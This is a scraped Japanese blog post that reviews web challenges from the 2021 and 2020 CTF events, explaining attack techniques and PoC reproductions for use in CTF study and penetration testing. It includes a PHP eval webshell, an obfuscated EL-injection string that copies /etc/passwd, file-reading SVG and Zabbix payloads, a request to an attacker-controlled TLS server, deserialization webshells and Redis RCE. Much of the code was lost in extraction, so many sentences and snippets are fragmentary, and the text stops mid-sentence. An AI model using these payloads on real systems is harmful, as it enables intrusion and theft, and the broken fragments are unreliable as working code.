こんとろーるしーこんとろーるぶいこんとろーるしーこんとろーるぶい読者になるこんとろーるしーこんとろーるぶい週末にカチャカチャッターン!したことを貼り付けていくブログこの広告は、90日以上更新していないブログに表示しています。最後にはじめに2022年も残り3か月となり今更ではありますが、2021年のCTFイベントで出題されたWeb問題のWriteupを読んで、新しく知った攻撃手法やツールなどをピックアップして紹介します。2020年まではWriteupがCTFtimeに登録されていない場合にGoogle検索でも探していましたが、今回はそこまで追いかけられていません。よって、例年よりも読んだWriteupの数が少なくなり紹介数も少なめとなりました。2020年の記事はこちらです。graneed.hatenablog.com2019年の記事はこちらです。graneed.hatenablog.com2018年の記事はこちらです。graneed.hatenablog.com対象イベント対象のイベントの条件は以下のとおりです。2021年1月1日~12月31日までに開催されたイベントであること。Online開催であること。Jeopardy形式であること。Web問題であること。量が膨大ですが、大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。CTFで詰まった時に攻撃の取っ掛かりを探すために参照したり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。PHP-FPM環境でLFIからRCEphpで実装されたアプリにLFI脆弱性がある場合にRCEまで繋げるテクニックはいくつかありました。それらテクニックを成立させるには、セッション情報をファイルで保存する設定になっているなど、他の前提条件を満たす必要がありました。2021にて非想定解として発見されたこちらの手法は、そういった前提条件が不要でRCEまで繋げることが可能です。PHP-FPM環境で実行されているphpのページにHTTPリクエストボディで一定以上のデータ(64bit環境ではデフォルト16K以上)を送信すると、一時ファイルに書き込まれる仕様を利用します。一時ファイルへの書き込みが発生するサイズ且つ実行したいコードを含むHTTPリクエストを送信しつつ、それと同時にLFIの脆弱性を使用して一時ファイルを読み込むHTTPリクエストを送信することで、任意のコード実行を可能とします。範囲で総当たりすれば特定できます。PHPでは/proc/[PID]/fd/[FD]を直接includeできないため、/proc/self/fd/[PID]/../../../[PID]/fd/[FD]を経由して参照するテクニックも使用しています。実際に試してみましょう。CTFの問題ファイルが公開されていますが、それとは別に作問者から検証用に単純化した環境を構築できるファイルがWriteupのページにて公開されていますので、そちらを使用します。php-lfi-with-nginx-assistanceExploitコードもtar.gzファイル内に包含されているため、そちらを使用します。groups=33(www-data)idコマンドの実行に成功していることを確認できます。Attack攻撃者が立てたMySQLサーバに接続を誘導し、MySQLサーバからクライアント(MySQLサーバへの接続元)にファイル読み取り要求を返すことで、クライアントのファイルを窃取する攻撃手法があります。2019年にも出題されていましたが、そちらはMySQLクライアントの脆弱性を利用するものであり、既に修正されています。PostgreSQLサーバからDBLinkでMySQLサーバに接続するためのPostgreSQL用の拡張機能であるmysql_fdwにも同種の脆弱性があり、その脆弱性を使用するとPostgreSQLサーバ(MySQLサーバにとってのクライアント)内のファイルを窃取できます。前提としてSQLインジェクションの脆弱性により任意のSQLを実行可能であること、dblinkとmysql_fdwの拡張機能が導入されていること、PostgreSQLサーバから攻撃者が用意したMySQLを模したサーバに通信が到達できること、を満たす必要があります。実際に試してみましょう。問題ファイルをダウンロードしてきてDockerコンテナを起動します。up別ターミナルでファイル読み取り要求を返すMySQLサーバを立てるツールを起動します。MySQLサーバにDBリンク接続しテーブルにSELECT文を発行するSQLを実行します。dummy;"._.?最後のSELECT文を発行するタイミングでMySQLサーバに接続があり、/etc/passwdファイルを送るよう要求します。その後、passwdファイルを窃取できていることを確認できます。hijacking(CSWSH)一言で説明するとWebSocket接続するアプリを対象としたCSRF攻撃です。テクニックとしてはそこまで高度なものではありませんが、個人的に初めて聞いた攻撃名であったため紹介します。別のオリジンに配備されたHTMLページからターゲットのWebSocketのエンドポイントに接続することができます。被害者のCookie情報に紐づく権限で任意の通信をさせることができます。そのページに管理者を誘導することでフラグ入手のノルマとなる金額を入手できました。Deserialization新しいガジェットチェーンの発見Javaの安全でないデシリアライゼーションの攻撃で使用するツールといえばysoserialです。https://github.com/frohoff/ysoserialしかし、本家ysoserialにあらかじめ備わっていて使用できるペイロードおよびその条件は限られています。ysoserialは多数forkして拡張開発されており、当ブログの2020年のWriteupまとめでもforkしてpayloadを追加したリポジトリをいくつか紹介しました。1.4という古いJavaのバージョンを使用した環境が対象でした。本家ysoserialには当該バージョンのpayloadがないため、自ら新たなガジェットチェーンを発見してpayloadを作成する必要がありました。1.4で使用可能な新たなpayloadを作成するまでの道のりが説明されています。Forgery(SSRF)ChromeのDevToolsのデバッグポートに対するSSRFChromeを--remote-debugging-port=<port>オプションを付けて起動すると、DevToolsプロトコルで通信するデバッグ用のポートがオープンします。デバッグ用のポートにアクセスすると、任意のURLを新しいタブで開かせたり、更にWebSocketを使用してそのタブで開いたページの情報を収集することができます。PuppeteerはプログラムからChromeを操作するNode.jsのライブラリですが、DevToolsプロトコルを使用して操作します。そのため、Puppeteerを使用すると必然的にデバッグ用のポートをオープンしてChromeを起動することになります。攻撃者の端末から直接デバッグ用ポートにアクセスできなくてもChromeの操作が可能となります。上記の方法を使用してChromeからしかアクセスできないフラグファイルを取得する解法を使用して解く問題でした。これもPuppeteerにlocalhostの全ポートを総当たりするスクリプトを実装したHTMLのページを開かせることで、ポート番号を特定しています。以下Writeupにて、問題ファイル付きで詳しく説明されているので、こちらでの再現手順は省略します。問題ファイルをダウンロード後の起動手順だけ載せておきます。Istioのポリシー内のパスの正規化オプション設定のミスを突いて認可バイパスする問題が出題されました。SSRFでKubernetesの内部API等を攻める問題は過去もありましたが、Istio/Envoyをテーマにした問題は初見でしたので紹介しました。proxyhttps://gist.github.com/YSc21/f8ff767e5142e1ada639a36293b8ec6f参考Istioのパスの正規化オプション設定についてhttps://istio.io/latest/docs/ops/best-practices/security/#understand-path-normalization-in-authorization-policyJavaScriptのURLオブジェクトによるURL正規化仕様の利用Node.jsのhttpモジュールは、URL文字列が渡されるとモジュール内でURLオブジェクトを使用して正規化しています。その場合、事前にURL文字列の入力チェックをしていても、そのURLと実際にアクセスするURLが異なる場合があります。URL文字列内で使用できる文字は各文字1回までというチェックをしています。よって、目的のURLをそのまま入力しても例えばhttp:の時点でtを2回使用しているため弾かれてしまいます。正規化後に特定のアルファベットに変換される文字を探索します。Writeup内に文字列を探索するJavaScriptコードがありましたので転載します。findVariants(c)}結果、正規化後にhttp://the.c0o0o0l-fl444g.server.internalになる文字列HTtP:the.c0o0O0l-fL444g.sErveR。interNalを探索できています。試しにNode.js環境で確認してみましょう。URL('HTtP:the.c0o0O0l-fL444g.sErveR。''}確かにhttp://the.c0o0o0l-fl444g.server.internalになっています。Loopという攻撃手法と組み合わせることで、ページ内の情報をリークさせることができる手法です。Loopはブラウザ上で時間のかかる処理を実行させてイベントループをブロックし、解除されるまでの時間を計測する手法です。リーク対象の文字列を1文字ずつ取得可能です。そのメタデータ内の認証情報を使用してGCRのDockerイメージを取得してフラグを取得する問題が出題されました。GCRのDockerイメージ取得につなげる問題は初見でしたので紹介しました。特定のパスへのアクセスを禁止するフィルタ処理を実装している場合に、request-targetが/始まりのパスであることを前提としているとバイパスされてしまう可能性があります。request-targetにはhttp(s)から始まる絶対パスがセットされる可能性があるためです。request-targetに対して正規表現で^\/+api\/+priv\のパターンでチェックする実装をしていましたが、http://から始まるパスをセットすることでバイパスが可能でした。curlコマンドでは--request-targetオプションを使用することで、任意のURLをrequest-targetにセット可能です。Trading-apihttps://www.creastery.com/blog/hack.lu-ctf-2021-web-challenges/#trading-api参考curlコマンドの--request-targetオプションの説明https://curl.se/docs/manpage.html#--request-target最後に仕事や私事が慌ただしく、2021年は(そして2022年も)開催期間中のCTFイベントに全く参加できていませんでした。CTFには「自ら挑戦し苦しんだ末に結局解けずに後から歯ぎしりしながらWriteupを読むこと」からしか摂取できない栄養素があります。これが不足していたことが昨年までの記事とのボリュームの違い(少なさ)にも表れてしまっているのだろうと思います。2022年もあと3か月で終わってしまいます。2022年のまとめ記事を出せるかどうかは正直わかりませんが、あまり期待せずにお待ちください。最後にはじめに2020年のCTFイベントで出題されたWeb問題のwriteupを読んで、新しく知った攻撃手法やツールなどをピックアップして紹介します。2019年の記事はこちらです。graneed.hatenablog.com2018年の記事はこちらです。graneed.hatenablog.com対象イベント対象のイベントの条件は以下のとおりです。2020年1月1日~12月31日までに開催されたイベントであること。Online開催であること。Jeopardy形式であること。Web問題であること。量が膨大ですが、大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。CTFで詰まった時に攻撃の取っ掛かりを探すために参照したり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。この章では、任意コードが実行できる状態になったあとに、何らかの制限をバイパスする手法を紹介します。親ディレクトリ指定によるopen_basedirのバイパス昨年度に引き続き、open_basedirの制限がかかっている中、それをバイパスする問題が多数ありました。その制限をバイパスする手法をいくつか紹介します。1つ目の手法はopen_basedirを親ディレクトリ指定に更新する手法です。以下の記事が参考になります。https://flagbot.ch/posts/phuck3/実際に試してみましょう。Interviewhttps://st98.github.io/diary/posts/2020-08-10-poseidonctf.html#web-988-interview-7-solvesPHP-FPMのTCPソケット接続によるopen_basedirとdisable_functionsのバイパス昨年のまとめでは、PHP-FPMのUnixドメインソケットファイルを使用したdisable_functionsのバイパス手法を紹介しましたが、こちらはTCPソケットを使用している場合の手法です。PHP_VALUEでopen_basedirやdisable_functionsを上書きします。Clientを使用します。https://github.com/adoy/PHP-FastCGI-Client実際に試してみましょう。/var/www/htmleval.php<?phpeval($_GET["eval"]);コンテナをビルドして起動します。Clientを使用して、PHP-FPMがListenしている9000番ポートに接続して/tmp/eval.phpを実行するコードです。PHP_VALUEオプションでopen_basedirを/に上書きします。$content);コードを実行します。php.iniでopen_basedirを/var/www/htmlに制限していたにもかかわらず、/tmp/eval.phpが実行できました。charset=UTF-8root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin(snip)なお、PHP_VALUEの行をコメントアウトしてopen_basedirを上書きしないよう変更してから実行すると、勿論、エラーになります。OSコマンドでパイプ(|)やリダイレクト(>)が上手く実行できない場合の手法です。以下の記事が参考になります。https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html実際に試してみましょう。実行時引数に渡された文字列をRuntine.execメソッドで実行するクラスを用意します。/tmp/hogeというOSコマンドを実行できるかどうか試したところ、そのまま実行してもエラーになってしまいましたが、紹介されている手法を使うと、正常に実行できました。nginxのadd_headerでは特定のステータスコードでないと追加されないことを利用して、CSPヘッダーを無効化する手法です。確かにnginxのドキュメントにも記載されています。CSPhttps://balsn.tw/ctf_writeup/20200208-codegatectf2020quals/#cspGoogleのClosureLibraryサニタイザーのXSS脆弱性Google検索、Gmail、Googleドキュメント等で使用されている、ClosureLibraryサニタイザーの脆弱性を突いて、XSSを発動させる手法です。writeupに具体的なpayloadが記載されています。writeupに記載されているリンク先も参考になります。Qualifierで出題されました。Workerを使用することで管理者から以降の画面遷移先の情報を窃取できる手法です。https://example.com/を表示してくれるWebのProxyサービスが提供されていました。feedback機能で管理者にURLを送るとそちらにアクセスしてくれており、また管理者はFLAGの提供先URLにも定期的にアクセスしているようでした。管理者のWebブラウザの画面遷移先のURL情報を窃取することができます。pooothttps://infosecwriteups.com/pooot-writeup-217384a6b69chttps://gist.github.com/nerder/aaadefee9f0e2a17034cb5abd9b86eed括弧を使わないXSSWAFやフィルタ機能で(や)の記号を使用できない場合でも、XSSを発動させる手法です。以下の記事が参考になります。https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.mdhttps://terjanq.medium.com/arbitrary-parentheses-less-xss-e4a1cf37c13d/記号を使用せずに遷移先URLを指定WAFやフィルタ機能で/記号が使用できない場合でも、http:DOMAIN_OR_IP:PORTで回避できます。実際にChromeで以下のコードを実行すると、example.comに画面遷移しました。最終的に目的のコードを組み立ててXSSを発動させる手法です。SOMEの説明は以下の記事が参考になります。http://www.benhayak.com/2015/06/same-origin-method-execution-some.htmlこちらの手法のPoCは以下で確認できます。Chromeでは動作しませんでした。FLAGが格納されているテーブルを探し出してレコードを取得する手法です。DBMSはMySQLが前提です。テーブル名と列名を特定するのが困難になっていました。テーブル名はsys.schema_table_statisticsという、テーブルの統計が格納されたビューを使用して取得できます。Injectionを実行可能です。example)exampleテーブルの2列目が、aaと一致していれば1が返却されます。不一致であれば0が返却されます。Injectionと同様に、=記号の代わりに<や>記号を使用するスクリプトを作れば、1文字ずつ特定可能となります。このSQLでは大文字・小文字を判別できません。判別する方法はここでは省略しますので、以下のwriteupを参照ください。Systemhttps://terjanq.medium.com/blind-sql-injection-without-an-in-1e14ba1d4952PostgreSQLでUTF-16による列名の指定と'記号を使用しない文字列宣言ちょっとしたテクニックですが、PostgreSQLではUTF-16の文字コードで記載した文字列で列名を指定できます。する場合は'記号で括りますが、$$記号で代替することができます。どちらも、WAFやフィルタ機能のバイパスに利用できます。実際に試してみましょう。Dockerを使用してPostgreSQLを起動し、検証用のテーブルを作成します。row)UTF-16の文字コードで記載した文字列で列名を指定しSELECT文を実行してみると、確かに正常に実行できました。row)$$記号で文字列宣言もできました。したテクニックですが、SQLiteでは列名を16進数表記で指定できます。WAFやフィルタ機能のバイパスに利用できます。実際に試してみましょう。Dockerを使用してSQLiteを起動し、検証用のテーブルを作成します。"hoge");hogeの16進数表記を確認します。"hoge".encode('utf-8').hex()'686f6765'先頭にxを付けて'で括ると16進数表記で指定できます。example;hoge但し、テーブル名には指定できません。Schoolhttps://vuln.live/blog/10gRPCのアプリケーションに対するSQLインジェクション公開されているコードを読むとSQLインジェクションの対象は明らかですが、インターフェースがgRPCというのがポイントです。普通にWebブラウザでアクセスしても何も表示されません。githubで問題が公開されており、Dockerで簡単に環境構築できるようになっていたため、やってみましょう。README.mdに記載されている通りに実行します。時間とリソースの節約のため、light_sequelの問題のコンテナのみ起動するようdocker-compose.yamlをカスタマイズしましたが、そのままでも大丈夫だと思います。up次に、writeupを参考にgRPCのクライアントとなるコードを作成します。writeupではimport文が省略されていたため補います。fmt.Println(srvresp)}次にgRPCのクライアントをビルドする環境準備ですが、gRPC何もわからない状態でしたので、以下の記事を参考にしました。github.com/golang/protobuf/protoc-gen-goこの段階でビルドしてみますが、エラーになります。$GOPATH)配布されているインターフェースファイルを持ってきて、環境変数GOPATHに設定してから、再度ビルドすると成功しました。exploit.go実行するとFLAGが取得できました。InjectionMongoDBでは、$where演算子を使用してJavaScript形式でクエリを記述できます。Injectionの脆弱性があるものの、HTTPレスポンス内にFLAG文字列が含まれていると除去されてしまいました。Injectionのように、1文字ずつFLAG文字列を特定可能となります。実際に試してみましょう。Dockerを使用してMongoDBの環境を立てて、適当なFLAG文字列(flag{dummy})を設定したレコードを追加します。})FLAG文字列がflag{aに部分一致するかどうかを確認すると、何も返却されません。false}}"})FLAG文字列がflag{dに部分一致するかどうかを確認すると、結果が返却されました。}これで、応答があったかどうかだけわかれば、1文字ずつ特定できそうです。Bloghttp://ajmalsiddiqui.me/blog/squarectf-2020-deep-web-blog/MongoDBのObjectIDを予測するライブラリMongoDBのObjectIDは、ランダム部分があるものの、既に有効なオブジェクトIDを知っていれば、予測可能となっています。https://docs.mongodb.com/manual/reference/method/ObjectId/ObjectIDを予測してブルートフォースするライブラリが公開されています。Websiteという問題で出題されていたことがあります。Solrというオープンソースの全文検索システムに対するインジェクション攻撃手法です。以下の記事が参考になります。energyという問題では、ShowFileRequestHandlerを使用して、configディレクトリ内のファイルのリスティングとファイルを読み取る手法が使われました。それら記号を使用した文字列表現なしに、任意のOSコマンドを実行する手法です。以下のページで解説されています。https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass実際に試してみましょう。任意の文字列を、'や"記号を使用せずに文字列として取得可能なコードに変換するスクリプトです。("")スクリプトを使用して、java.lang.Runtime文字列と、実行したいOSコマンドの文字列を取得するコードを生成します。/tmp/passwd"true.toString().charAt(0).toChars(99)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString())生成したコードを使用してコード全体を組み立てて、EL式として実行する、テスト用のコードを書きます。}}コンパイルして実行すると、OSコマンドの実行に成功したことを確認できます。./lib/配下には、tomocatとjuelのjarファイルを配備しています。Managerhttps://balsn.tw/ctf_writeup/20200905-confidence2020ctffinals/#password-managerこちらのwriteupから解説サイトにリンクが張られていましたが、特にこの問題ではWAFのバイパスを必要としていなかったようです。そこからHTTPトンネルを張るコードを実行して、ネットワーク内部にアクセスする手法です。こちらはターゲットのWebサーバーにjspやphpファイルなどを何らかの方法でアップロードして、そこを入り口とする前提でした。Pythonやflaskには対応していません。その場でflaskに新しくルートを追加し、reGeorgから接続可能なHTTPトンネルの入り口を設ける手法が使われました。(jspやphpファイルのアップロードとは違い、ファイルシステム上には痕跡が残らないので、実際の攻撃に使われた場合に検知や調査が困難ですね・・・)ちなみに、reGeorgをリファクタリングおよび機能追加しているNeo-reGeorgというツールもあります。againhttps://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF%202020%E5%AE%98%E6%96%B9WriteUp.md#login_me_again_and_againMarkDown版のWriteupでは画像が表示されませんが、PDF版のWriteupで確認できます。Protocol)で通信可能なAJPコネクタという機能があります。AJPリクエストを送信するツールが公開されています。https://github.com/hypn0s/AJPyCVE-2020-1938はLFIの脆弱性ですが、以下の記事が参考になります。https://www.jpcert.or.jp/at/2020/at200009.htmlhttps://blog.trendmicro.co.jp/archives/24748なお、Tomcatのバージョン8.5.51から、デフォルト設定でAJPポートは公開しない設定になりました。実際に試してみましょう。ターゲットとなる環境とアプリを構築します。こちらがファイル構成です。web.xmlCVE-2020-1938の脆弱性は8.5.51で修正されているため、それより前である8.5.50を使用するコンテナイメージを使用します。/usr/local/tomcat/webapps/LFIでコード実行するために、実行したいコードをJSPで記載したファイルをコンテキスト内に配備しておきます。CTFの問題では、アップロード機能で配備しますが、検証を簡略化するためあらかじめ配備しておきます。%>コンテナをビルドして起動します。ms次にAJPyのリポジトリを取得します。試しにCVE-2020-1938のPoCであるread_file機能を使用すると、コンテキスト内のWEB-INF/web.xmlを取得できました。</servlet-mapping></web-app>次に、writeupを参考にして、LFIでcmd.txtをインクルードして実行するexploitコードを準備します。importしているtomcatは、AJPyのモジュールです。output.write(repr(d.data))exploitコードを実行するとcmd.txtに記載したJSPコードを実行し、idコマンドが実行されたことを確認できました。生成された画像ファイルにそのファイル内容が画像として埋め込まれ、LFIできる手法です。filesが参考になります。https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html実際に試してみましょう。DockerでImageMagickをインストールしたコンテナを生成します。imagemagick/etc/passwdファイルを参照するSVGファイルを作成します。width="500"/></svg>コンテナ内でconvertコマンドを実行します。passwd.png生成されたpasswd.pngがこちらです。確かに/etc/passwdの内容が画像として埋め込まれています。Generatorhttps://github.com/hyperreality/ctf-writeups/blob/master/2020_tctf/README.mdZabbixの管理画面から監視対象サーバー内の任意のファイルを取得Zabbixの管理画面にログインできる場合に、Zabbixエージェントがインストールされている監視対象のサーバー内の任意のファイルを取得する手法です。itemを作成してから、Key項目に以下のような形式でファイルパスを指定すると、ファイルの内容を取得できます。vfs.file.contents[/etc/passwd]以下のマニュアルにも記載されています。それ以前のパラメータが結合されない仕様になっています。マニュアルにも記載されています。ディレクトリトラバーサルの脆弱性の発生に繋がる場合があります。実際に試してみましょう。そのポートに対してデータを送信する手法です。バイナリデータの送信が必要な場合に利用できます。PHP-FPMのTCPソケットのポートに、バイナリデータを送信するために使用していました。実際に試してみましょう。理解のために、writeupのコードをそのまま使用するのではなく、ncコマンドで試してみます。上がクライアント、左下がFTPサーバー、右下がターゲットとなる送信先ポートです。Poisonという攻撃手法が発表されました。この手法を使用すると、攻撃者が用意するサーバーに通信を誘導可能、且つその攻撃者のサーバーへの通信が2回発生する場合に、2回目の通信でネットワーク内の別のサーバー(localhost含む)に対して、TLSのセッションID領域を使用して任意のデータを送ることができます。https://github.com/jmdx/TLS-poisonこれには、TLS通信における以下の仕様や挙動を利用します。TLS通信の接続の際、サーバーからクライアントにTLSのセッションIDを払い出すこと再接続の際に、TLSのハンドシェイク処理を軽減するためにTLSのセッションIDをサーバーに送ること一部のクライアントは、TLSのセッションIDを送るかどうかを接続先のホストとポートで判断すること再接続先のサーバーが停止していた場合、Aレコードに登録されている別のIPアドレスに再接続すること準備するものはこちらです。scannerという問題では、サーバーのローカルでmemcacheが起動されていて、(詳細は省略しますが)RCEを取得するためにmemcacheにデータを登録する必要がありました。外部からgitクライアントの通信先を指定できる機能がありました。そこで、gitクライアントに攻撃者のTLSサーバーに通信させるよう指定し、この手法を使用することで、ネットワーク内のmemcacheにデータを登録させることができます。一部簡易化した環境を構築して実際に試してみましょう。ターゲットのサーバーにmemcacheサーバーを立てます。Dockerを使用します。memcached攻撃者のドメインを準備します。DNSのAレコードを追加し、TLSサーバーのIPアドレスと0.0.0.0を登録します。登録してからdigコマンドで確認すると以下のようになります。80攻撃者のTLSサーバーを用意します。scannerのwriteupで公開されていたfake_git.pyを改造して、手法の検証に関係ないところを削除して簡易化しています。time.sleep(5)秘密鍵ファイルとサーバー証明書ファイルを生成してから、サーバーを起動します。FakeGIT準備が整いましたので、ターゲットのサーバーからgitコマンドを実行して試してみます。https://fakegit.graneed.net:11211TLSサーバーの実行ログを見てみます。FakeGITmemcacheを確認すると、TLSのセッションIDにセットしていた、キーHOGE、値FUGAが登録されていました。"FUGA"なお、TLSのセッションIDは32バイトであるため、あまり長いデータは送信できません。scannerhttps://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/security%20scanner問題ファイルが公開されています。昨年のまとめでは、RedisのポートにSSRF可能な場合にサーバー内のファイルが取得できる攻撃手法を紹介しましたが、こちらはRCEまでできる手法です。以下の記事が参考になります。https://knqyf263.hatenablog.com/entry/2019/07/16/092907https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0簡単に試すことのできるツールも公開されています。https://github.com/jas502n/Redis-RCE実際に試してみましょう。redis:5.0.13-alpineコンテナのビルドと実行をします。connectionsツールをgithubから取得します。Redis-RCE/Redic-RCEを実行すると、攻撃対象のRedisサーバーに接続、マスターサーバーの起動、Redisモジュールの配信をして、攻撃対象のサーバーで任意のコマンドを実行できました。それを使用して、1つのHTTPリクエストを2つのHTTPリクエストに分割し、SSRFを発生させる手法です。以下の記事が参考になります。XMLデータ内にファイルを挿入後に、XMLとしての構文が崩れてしまって失敗することがあります。目的のファイルをXMLデータ内に挿入する処理が動作せず、目的が達成できません。目的したファイルの内容をCDATAブロック内に含めることが可能となります。Deserialization機能拡張されたysoserialによるWebShellの取得Javaの安全でないデシリアライゼーションの攻撃に、ysoserialがよく使用されます。https://github.com/frohoff/ysoserialysoserialをforkしてpayloadを追加するなど機能拡張しているリポジトリが公開されています。TomcatにメモリWebShellを設置する機能追加が多く見つかります。(中国語圏内の記事が多い気がします。解説記事:https://xz.aliyun.com/t/7388リポジトリ:https://github.com/threedr3am/ysoserialCommonsBeanutilsとcommons-collectionsを使用しないShiroの逆シリアル化の利用https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.htmlhttps://github.com/phith0n/JavaThings上記のうち、「TomcatベースのメモリWebshel​​lファイルレス攻撃テクノロジー」のリポジトリのysoserialを使用して、実際に試してみましょう。ターゲットとなる環境とアプリを構築します。こちらがファイル構成です。2021年8月時点でcommons-collectionsの最新版は3.2.2でしたが、脆弱性が修正されているため、検証には3.2.1をダウンロードしてくる必要があります。/usr/local/tomcat/webapps/demo/WEB-INF/classes/POSTされたデータをそのままデシリアライズをかけるサーブレットを用意します。}}サーブレットマッピングだけの単純なweb.xmlです。</servlet-mapping></web-app>コンテナをビルドして起動します。ms次にysoserialのリポジトリを取得してきて、Dockerコンテナ上でビルドします。そのまま実行するとmavenのビルドでエラーになったため、pom.xmlを一部修正します。.(snip)ysoserialでpayloadを生成し、順番に送信します。Tomcat/8.5.69</h3></body></html>WebShell機能を持つフィルタが組み込まれたので、OSコマンドを実行するリクエストを発行すると、コマンド実行を確認できます。上記の検証のついでに調べたところ、以下の記事が参考になりました。290のデシリアライゼーション・フィルタの導入以降は使用できないようです。REJECTEDと表示されてデシリアライズできませんでした。.NETアプリケーション向けの安全でないデシリアライゼーション攻撃ysoserialはJava用ですが、.NET用のysoserialもあります。WhoAmIhttps://jctf.team/AppSec-IL-2020/WhoAmI/PyYAMLのyaml.load関数の脆弱性を使用して任意のコード実行PyYAMLのyaml.load関数に任意の文字列を渡せる場合に、任意のコードを実行できる脆弱性を突いた攻撃手法です。2020のコンテスト中に編み出された手法は0day脆弱性となり、コンテスト後にCVE-2020-14343が割り当てられました。そのPoCコードはこちらです。/etc/passwd')"以下、参考ページです。ASTを追加することで、任意の関数を実行する手法です。以下の記事が参考になります。https://blog.p6.is/AST-Injection/上記の記事の写経に近いですが、手を動かさないと覚えないため、実際に試してみましょう。Dockerを使用します。app.listen(8080);package.jsonでは、flatのバージョンを脆弱性のある5.0.0に指定します。}コンテナをビルドして起動します。--initはCTRL+Cで終了できないための措置。requests.get(TARGET_URL)print(r.text)実行すると、リバースシェルの接続要求が返ってきたため、OSコマンドが実行されたことを確認できました。計算量が膨れ上がってタイムアウトするようなことはありません。その場合、以下のような正規表現を実行させることでReDoSを発生させることができます。...の部分は、(.?){1000}を繰り返すことで、計算量が増えて実行時間が伸びていきます。^flag(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}...(.?){1000}salt$上記の例では、評価対象の文字列がflag_hogehoge_saltのように、先頭部分がマッチする場合、計算量が大きくなり実行時間がかかります。以下のように先頭部分がマッチしなければすぐに結果が返ってきます。Attackで評価対象の文字列の情報を窃取できます。考え方は以下のリンク先のwriteupを参照ください。AttackReDoSを発生させる正規表現で使用するような{}()+*記号を使用せずに、ReDoSを発生させる手法です。単純に.?を大量に連結させて、末尾に評価対象の文字列にマッチしない文字(salt)を付与するだけで発動します。実際に試してみましょう。先頭部分がマッチしないと、即座に結果が返ってくる。先頭部分がマッチすると、1分以上待っても結果が返ってこない。Note2https://github.com/mdsnins/ctf-writeups/blob/master/2020/TSGCTF/Note2/note2.md非想定解だったようです。WappalyzerのReDos脆弱性Webサイトがどういったプラットフォーム、フレームワーク、ライブラリを使用しているか検出する、Wappalyzerというブラウザの拡張機能があります。2020のWatchersという問題ではWappalyzerのCLI版を実行しており、その結果をタイムアウトさせることで目的とするコードの条件分岐に進めることができましたが、ReDoSの脆弱性を突くことでタイムアウトを発生させる解法でした。Enforcementとは、iframeタグで読み込むページにcsp属性でCSPのポリシーを付与できる仕様です。読み込んだページから、より制限の緩いポリシーが返却された場合は、Webブラウザがブロックします。管理者用のCSPのポリシーを窃取する必要がありました。WebブラウザがブロックしたかどうかでCSPのポリシーを特定する手法が使用されました。2019年のCTFで少し流行ったXS-Searchと似ています。CSPヘッダーをHTTPレスポンスヘッダーで返却する簡単なWebサイトを用意します。このhttp://localhost/aa/bbを取得することを目的とします。(本当は管理者やユーザごとにURLが異なりますが省略。server.serve_forever()script-srcのURLが異なるポリシーをcsp属性にセットした、iframeタグを設置します。ポリシーをセットしているiframeは正常に表示され、包含されない=制限の緩いポリシーをセットしているiframeはブロックされるはずです。http://localhost/aa/cc"></iframe><br></body></html>Webブラウザで表示します。Chromeを使用しています。script-srcにhttp://localhost/aa/とhttp://localhost/aa/bbをセットしたiframeが表示されました。本来は、スクリプトを書いて1文字ずつつ特定する必要があります。2020のUBIという問題は、複数の脆弱性を活用、連携させながら解く必要があり、かなり面白い問題でした。Cacheのマニフェストファイルを読み込ませてキャッシュを使用させるという点が面白い手法でした。詳細な説明は、以下のwriteupが参考になります。他人のHTTPレスポンスを横取りする手法です。以下の記事が参考になります。Qualifierでも出題されており、当ブログでもwriteupを公開しています。本来、公開していないはずのバックエンドのエンドポイントにリクエストを発行する手法です。以下の記事が参考になります。その前にFirewallをバイパスする必要もありました。SNI情報を元にアクセスコントロールをしているFirewallをバイパスするという手法も使用されていました。こちらはHTTP/2通信へのアップグレードにより、TCPトンネルを張る手法です。以下の記事が参考になります。https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2cツールとデモ環境も公開されています。https://github.com/BishopFox/h2csmuggler写経に近いですが、手を動かさないと覚えないため、実際に試してみましょう。docker-compose.ymlとhaproxy.cfgのポート番号の設定を、80→10080、44